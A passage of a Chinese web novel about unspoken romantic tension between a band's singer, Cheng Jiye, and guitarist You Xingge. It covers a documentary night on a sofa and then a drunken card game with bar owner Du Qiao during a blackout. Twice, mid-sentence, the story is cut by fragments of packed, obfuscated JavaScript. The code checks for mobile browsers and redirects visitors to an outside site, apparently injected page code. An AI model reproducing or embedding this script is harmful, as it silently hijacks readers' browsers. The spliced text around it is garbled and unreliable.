程际野的手僵了僵,面上却露出个极轻极淡丝毫不见慌张的笑。 卷发青年好像觉得有点神奇,他放下薯片袋子,一只手揽过了程际野的肩。 电视依旧在播放着,讲述着上个世纪的声音一下变得很遥远,游星戈开口开得毫不犹豫:“哥,我突然发现了一件事。” 程际野面上的表情没变,眼睛的睫毛颤动了下,游星戈这时候才发现挨得近真能看清人的眼睫毛,可惜那双颜色过于深重的眼睛完全不会泄露一点多余的情绪。 是幽深的。 主唱绝不会告诉他的吉他手有关于他的任何心事,表现得相当从容:“什么事?” 游星戈没开口,他揽过程际野肩膀的手往人脸上戳了戳,感受到极为舒服的触感后,卷发青年随即露出了个好奇的笑:“我发现哥最近真的很奇怪。” 程际野心头一跳,被游星戈揽过的肩膀下意识往后靠了靠,游星戈的手被他压在沙发陷进了柔软的表皮。 是松软的。 “哥最近老是莫名其妙地看我,我没有说错吧。” “一定有什么事情瞒着我,对不对?” 卷发青年的眼睛里含着笑意,直白地对上程际野的目光。 明明是疑问的语气,偏偏被他说出了陈述句的肯定。 他发现了? 程际野的身体不自觉地紧绷,只有嘴角的笑意还僵硬着没有落下去。 他知道了—— 这不可能。 他们挨得太近了,在沙发上只差不到二十厘米的距离,呼吸都交缠到一块。 程际野感觉自己的心跳得过快,甚至有那么一瞬间怀疑这个挨得如此之近的人早就知道了,这让他心头发慌,他想说什么一时间又不知从何解释。 他们越挨越近,游星戈那双含笑的眼睛凑上来时简直像是要给他一个吻。 程际野的喉结极细微地滚动了点。 慌乱的,干渴的,居然还有一丝从心尖涌出来的微妙的期冀。 如果他知道了—— 他是什么看法? 他的心被轻轻提起。 昏暗房间里只有电视莹蓝色的光能打亮一小片地方,包括角落里的沙发,和上面对视的两个人。 游星戈摩挲着程际野后颈的温热皮肤,看向他时轻快地眨了眨眼。 深栗色的眼睛里酝酿着浅淡的笑意,游星戈能感受到程际野身上那种紧绷,快要变得分明的暧昧在空气里浮动,安静而炽热的吐息拂过脖子,酥酥麻麻。 他们谁都没有继续往前一步。 程际野的视线从他身上移到了电视上,仿佛这样就能延缓紧张。 那种压抑的感情在他的大脑里涌动,根本无法给他思考的余地。 一团乱麻。 安静昏暗得只有一点点光的房间里,电视依旧毫无所觉地播放着冗长的纪录片,程际野松开掌心,突然觉得没那么重要了。 在这个人身上,他所拥有的本来也不多,就算失去了也没关系,知道之后有更广阔权利的人是他,他有过但是未能诉诸于口的念头太多了,只要游星戈开口说一句自己知道,他就能把剩下的全部说出来。 到时他将不顾一切。 只要游星戈开口说一句。 说一句他知道。 黑沉色的眼睛里只倒映出游星戈卷发的弧度,亲昵的禁锢里程际野的心也不受控制般地跳动。 ——可是游星戈没有。 卷头发的青年松开了他的肩膀,连拉开他们之间距离的动作都做得如此自然,有着深栗色眼睛的吉他手在临门一脚时放过了他的主唱,面庞却还带着无辜。 “我猜不到,但是是错觉吧。” 心又重重地放下。 搅动他的心的糟糕凶手这时候弯起眼睛笑道,完全没有察觉到自己的所作所为有多么可恶。 被凶手这么做的对象仔细看着他的表情,面色往下沉了点,黑沉色的眼睛里看不出什么情绪,像是片黑色的漩涡,又冷得像海洋上的风暴。 最后程际野扯出来个笑,房间里的空气温度往下降了降。 “如果你觉得是这样,那就是。”他开口的声音低低的,像是压抑着什么。 游星戈在心里挑了下眉。 ——程际野生气了。 但凡是个成年人,都能察觉到刚刚的动作早已超过了暧昧的限度,几乎要亲上来的角度简直近似于调情,就算是再好的朋友也不该有这样的距离。 他们彼此都心知肚明。 僵硬的气氛一直延续着,游星戈挂着笑意继续看着电视,程际野眸色沉沉,只透过他的脸却什么都看不出来,电视前的两人同时都心不在焉,气氛逐渐向窒息的沉默走去。 空气里弥漫着一种无法确定的东西,程际野从没有一刻这么厌恶这种不确定。 他不能从中确定这个人是否怀着同样的感情,不知道自己该从这沉默中感到庆幸还是压抑。 再这样下去,他就要失控了。 电视发出来的光是医院纪录片才会有的那种惨白色的,查尔斯在旁边睡出轻轻的呼吸声,程际野握紧了手。 如果这个人出现得更早些,出现在那个他更年轻叛逆的时候,他会毫不犹豫地出手,无论游星戈在想什么,他想要得到的最后抢也会抢到,如果他出现得再晚点,出现在他对感情能看得更开的时候,他也能怀着淡淡遗憾的心情放手,做一对普通朋友。 可是他偏偏出现在这时候。 拿不起也放不下,让程际野什么都无法确定。 电视机放着最后的落幕片段,不专业的讲解都像是松了口气似的语气变轻快了不少,房间里的温度更上一层,滔滔不绝的声音里压着让人窒息的安静。 游星戈终于要从这要人命的纪录片里解脱出来了,他拿起杯子,眉眼间透露出点轻松来。 下次绝对要阻止查尔斯放这种品味奇特的DVD,这家伙中途睡着,真是难耐着他俩了。 他看向程际野,假装刚刚使坏逗人的不是他:“你说查尔斯得什么时候才醒?” 他这话问得像是刚才什么也没发生一样。 程际野目光沉沉地看着他,DVD这时正要走向片尾,他摇了摇头,手下很是干脆地按下了关机键。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631682|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也许是因为被判定为噪音的纪录片声音一下消失了,靠在沙发边的查尔斯大脑意识到什么,它试图唤醒中途睡着的鼓手,让人太阳穴突突地跳。 查尔斯打了个深深的哈欠,睡眼朦胧地揉了揉眼睛,才从旁边醒来。 他压根没参与这中间的暗流涌动,艰难抬头就发现原本放着DVD的电视已经关上:“不看了?” 他们的主唱给了他个轻笑,查尔斯莫名觉得这个笑里有什么非同一般的东西,好像他错过了什么一样,于是查尔斯将困惑的视线投向了游星戈。 “你睡着的时候我们已经看完了,”程际野回答的声音漫不经心,“下次你可以早点醒。” 游星戈被这话里的意味逗笑了。 查尔斯则挠了挠头:“太无聊了,我真没忍住想睡。” 他又打了个哈欠,从沙发缝边抽出外套,抖了抖才看向外面的天色。 “这还是你挑的。”游星戈在旁边补刀。 查尔斯穿上外套:“哎,那是我从排练室箱子里随便扒拉到的。” “这么晚我该走了,女朋友等着和我约会呢,”提到这查尔斯就眉飞色舞起来,那困倦的表情都一下被冲淡了不少,“bye,两位单身人士。” 他拉开了门,很是得意地朝两个人挑了挑眉。 乐队里最受人欢迎的两位不还是没有女朋友,这下是他遥遥领先。 游星戈嘴角抽抽和他挥了挥手。 等到查尔斯把门关上,对着楼梯要下去,灰尘一下冲进了他的鼻腔,他刚睡醒混沌的脑子才清醒了那么一点。 刚刚怎么回事来着?他刚醒的时候,总感觉气氛怪怪的。 嗯,好奇怪,说不上来,感觉两个人下一秒就要干架似的。 心思没那么敏锐的鼓手对打架这方面还挺熟悉,他挠挠头,后知后觉地意识到。 查尔斯离开后,排练室里恢复了原有的氛围。 游星戈起身把DVD取出来,光碟咔一声从电视卡槽里弹出来,他拿着光碟重新窝回了沙发里。 碟片表面花里胡哨的,上面拓印着“一个摇滚年代”,属于平时游星戈看一眼都不会好奇里面内容的那种碟片。 程际野接过了那张光碟,花哨的封面甚至还印着内容的目录。 他又想起来那段有点不能播的解说和画面,一时间脑袋混乱又有点痛,他揉了揉太阳穴。 沈质那个混蛋骚扰游星戈的时候被揍了一顿,但是换他开口的话,游星戈应该不会揍他。 黑发的主唱苦中作乐般想着。 但是从此他们的身份就再也回不到朋友了。 他是真的很想问,在这一刻不在乎结果。 程际野看向了正无聊地拿手弹着光碟的青年,内心的挣扎让他进退两难。 被拒绝的结果清晰了当,游星戈绝不会和他闹掰,只是两个人的处境会变得很尴尬。 可是,如果不是拒绝,得到的结果就一定是好的吗?他该如何自处,就让他的吉他手面对世俗的眼光吗? 所以不开口就很好,只要游星戈别再往前进。 他将目光从游星戈黑色发梢移开,长时间的视觉暂留让他看空白的墙壁都残留了点黑色的影子,空气里隐隐约约带着米兰花的香气。 让人如此留恋。 游星戈在旁边把玩着碟片,看到程际野动作时挑了挑眉,他对男主的想法一知半解,按理来说,他不能太崩人设,所以这个口必须要男主来开。 程际野的心思永远莫测,动心却不开口的却是两个人。 他们好像又回到了当初那个阶段,说不清楚的感情在其中酝酿,没人能真切地懂。 游星戈最后把碟片放回了DVD盒里,依旧是挺拔阳光的姿态:“走吧,下楼吃饭。” 程际野握住了他递过去的手,钥匙环在指间压出点淡痕,他看向游星戈的眼睛。 发色同样很深的年轻人朝他露出个笑,程际野的指尖微微蜷了下。 得找个机会逼男主一把。 游星戈弯起了眼睛。 21. 酒精 他们要去吃饭的时候,外面的天已经完全黑了,灯火霓虹处传来的车水马龙声已经变得遥远,旧城区夜晚很热闹,但是交通流量却并不怎么大。 夜晚总是最容易扩散人内心情绪的,杜乔一个电话打过来,开口就是心情好要请他们吃饭,知道排练结束后只剩他们两个人后也没在意,在电话那头喝得醉醺醺地喊着他们来。 程际野担心人出事,毕竟他也知道杜乔的酒量,那是个不能喝的主,就算没有请吃饭这个由头他也得去。 偏偏夜色深重,他看了眼外面,问旁边的游星戈:“你要先回去吗?” 卷发青年挠了挠头:“我在家等你?” 这句话说得实在惹人误会,程际野压着心中涌现的微妙感情,刚要开口就看见游星戈恶作剧般弯起眼睛。 卷发青年的声音里带着笑意:“开玩笑的,我当然要去。” 他不是那种喜欢待着家里的人。 那双深栗色的眼睛玩笑般含着深切的意味,天上的星星和祈城的灯光一起泼进了他的眼里,像是某种明亮的可折射的镜面。 太澄澈了。 程际野出奇地没有在目光交接的那一瞬间垂下眼,一种莫名其妙的感情驱使着他,让他想在这个寂静的夜晚点支烟。 因为他想念起深蓝色的天空下两支凑在一起点燃的烟,那时他依然能和游星戈坦然相处。 他开口的声音在车辆的鸣笛声里有点听不清,毕竟他们正在楼下:“行。” 那枚钥匙扣被轻轻压在掌心,细微的疼,程际野才把视线收回。 等他们到的时候,今天看上去格外高兴的杜乔已经喝嗨了,还问他们吃完饭后要不要一起玩牌。 她是人菜瘾还大的那种人,这么多年程际野也知道,明明不怎么能喝酒,偏偏还要喝。 游星戈和老板玩得好,尤其是切磋牌技这一方面,杜乔很喜欢和他打牌,毕竟棋逢对手的快感只有自己能体会。 游星戈答应了。 程际野的牌玩得也不错,但也只是停留在不错这个地步,最后干脆地放下牌看着他们打。 玩到最尽兴处,包厢暖黄色的灯光照得人脸上也散发着淡色的光泽,除了他们还有个扎着马尾的黑发女孩,是酒吧的常客兼杜乔的朋友,最后也把牌收起来不玩了。 毕竟能把牌玩得像游星戈这样好的人可不多,只有极少数不被幸运女神眷顾的时候他才会输,其他人更不是对手。 这把牌于是以杜乔的败北告终,波浪卷发的老板沮丧地又喝了口酒。 他们输掉的惩罚是真心话大冒险,杜乔放下了酒瓶子:“你要问什么?” 游星戈从旁边的签筒里抽出来一根,包厢里太热了,程际野注意到他鼻尖沁出来滴汗,而卷发青年的语气很随意:“……最遗憾的事情?” 杜乔含着笑说:“老鼠把我地下酒窖里的木桶咬烂了,要是能再早一点发现就好了。” 游星戈被杜乔的话逗得弯起眼睛。 旁边的程际野知道她又在开口胡扯,他只将目光落在了游星戈身上,耳边的话进进出出,他鬼使神差地伸出手,帮游星戈擦掉了那滴汗。 这下愣住的不仅是游星戈了,对面原本笑眯眯信口胡说的杜乔也愣住了。 程际野面不改色地收回了手,丝毫没注意到三个人的目光全都聚在了他身上,甚至还有闲心开口:“你们继续。” 杜乔皱了下眉,只看向程际野那只手,从表情里看不出来她在想什么,只有眼底一道狐疑闪过。 她和程际野是认识不少年的朋友,知道这人其实没什么体贴的精神,更何况这么细微的表现,就算她坐游星戈对面也没发现他流汗了,怎么程际野能注意到,也太古怪了。 但是最后,她还是没说什么,只在短暂的停顿后露出了个笑眯眯的表情:“哎我的都结束了,换个问题问Mike。” 程际野也是这把的输家。 游星戈摸了摸鼻尖,没想过男主会这样,他从一旁的签筒里又抽出来根签:“现在最想约会的对象?” 一个无比正常的问题。 偏偏美艳的老板似乎觉得这个问题不太符合她的预期,她笑眯眯地补充了一句:“在场的人里。” 包厢里在场的人只有四个。 她看向程际野,眼里升起的戏谑和狐疑都想在黑发主唱这里得到答案。 程际野瞥过她一眼,并没有如杜乔所愿,声音里带着镇定:“游星戈。” 如果他回答了其他,反倒显得欲盖弥彰。 因为按他平常的性格,他绝不会选杜乔和不太熟的朋友。 空气里浮动着微妙的气氛。 游星戈弯起眼睛,没能从程际野的表情里得到什么答案的老板表情里微不可见地闪过挫败。 他们又玩了几把,游星戈在幸运女神不故意使坏的情况下当然大获全胜,杜乔却在玩牌的时候神色很淡地观察着他们。 酒精放大了她脑袋里的某根神经,让她能感知到的情绪无限扩大,明艳动人的老板对暧昧总是能轻易地捕捉,可惜这并不适用于面前的这两个人。 扎着马尾的女孩显然受不了这来来回回的挫败,很快就退出了游戏,杜乔挥挥手让她下次再来玩。 女孩走后不久,也是不巧,玩到最后还剩下几张牌的时候,异变突生,暖黄色的灯光咔哒一声,电流滋过,房间里就陷入了一片昏暗。 在最关键的时候停电了。 游星戈摸着本来能胜的牌一怔。 刚陷入黑暗时房间里谁都看不清,杜乔也愣了,随后反应过来就以迅雷不见掩耳的速度把牌甩到桌子上,开口充满了遗憾:“哎怎么停电了,我还没出完牌呢。” 游星戈嘴角抽了抽,也把原本能胜的牌往桌面上一推。 外面因为停电而产生的闹声渐渐大了起来,餐厅里停电就表明这附近的一块区域都在停电,小半个城区的寂静夜晚都挤进了喧闹,窗外江色里的河灯都熄灭了。 杜乔眨着眼睛问游星戈能不能出去看看,卷发青年当然答应。 最后包厢里只剩下杜乔和程际野两个人。 黑暗里发酵着寂静,杜乔继续喝着抿着酒,酒香袭人,她评价道:“没我的好喝。” 程际野不知道她把游星戈支开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631683|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么意思,但是显然杜乔的酒量并不允许她这么喝下去,很快她就松开了酒瓶子,开口的话里带着酒气,她的情绪有点异常:“我今天其实是想和你说点事来着。” 程际野看着她拿的酒瓶,确定杜乔是真的不能喝酒。 老板接着开口,醉意浓浓,说出来的话却让人吃惊:“我要回老家结婚了。” 程际野看向她,酒吧的老板经历了那么多风雨,现在说她要洗手不干去结婚了:“真的?” 杜乔笑出来,眉眼里挑出来明亮的笑意,恶作剧成功了般:“当然是假的啦。” 她像是为了扯开话题,几乎是在这句话说完后就问出了下一个问题:“我还没问过你,怎么你这么多年还没找个人结婚呢?” 她这个问题问得像催婚,哪怕程际野也就二十五六。 程际野难得迟疑了下: “以前有以前的原因,现在有现在的原因。” 就是两个都不透露的意思。 杜乔又笑,没有继续追问下去,接着她想起来什么:“对了,最后一个问题。” 她的神色醉醺醺里透着好奇:“你和游星戈怎么回事呢?” “怪怪的诶,你干了什么对不起他的事吗?” 程际野不知道她脑袋里脑补了什么,他只轻轻摇了摇头,当做是最后一问的答案。 如果爱也是对不起的事情。 黑暗的房间里,指尖的啤酒盖轻巧地旋转着,杜乔就没有继续问。 她能猜到的东西有限,只好随口说了句:“嘛,万一人家是和你一样的心情呢。” 并不窒息的沉默。 随后门就被敲响,门外传来了游星戈的声音。 “直接进来嘛,”杜乔小声地嘟囔道,醉意沉沉的,“算了,玩得还挺尽兴的,一会有人来接我,你和他走吧。” 万一一会来电了,她又多输了几局怎么办。 游星戈的卷毛脑袋从外面探出来,解释了停电的原因:“大风压倒了电缆,所以才停电的。” 而且涉及区域还挺广,小半个南城区都停了。 程际野把啤酒瓶盖放回了桌子上:“那我先走了。” 杜乔从来说风就是雨的,一场牌玩下来今天有些异常的脾气也往下收了收。 游星戈还在想着最后的那局牌,不过他也没什么一定要赢的执念,在某些总是能轻易达成的目标上他向来没什么胜负欲。 深夜是深蓝色的,停电导致这一带都没了光,漆黑得只有天空上挂着的星辰,外面的风很大,还有小孩子的闹声和哭声。 一到夜晚尤其是现如今监控失灵的时候,偷摸抢劫的时候就出奇地多,已经有人坐在路边埋头哭泣:“包,我的包。” 偷了东西的贼已经骑上车飞快地疾驰而去。 不久前还很热闹的酒吧网吧已经有人陆陆续续地出来了,声音很嘈杂,骂声和烟味一起涌了上来。 过于混乱。 程际野突然想到了杜乔的话。 这么混乱的时候,他完全可以说出来。 然后再将之归咎于并他并没有喝过几杯的酒上。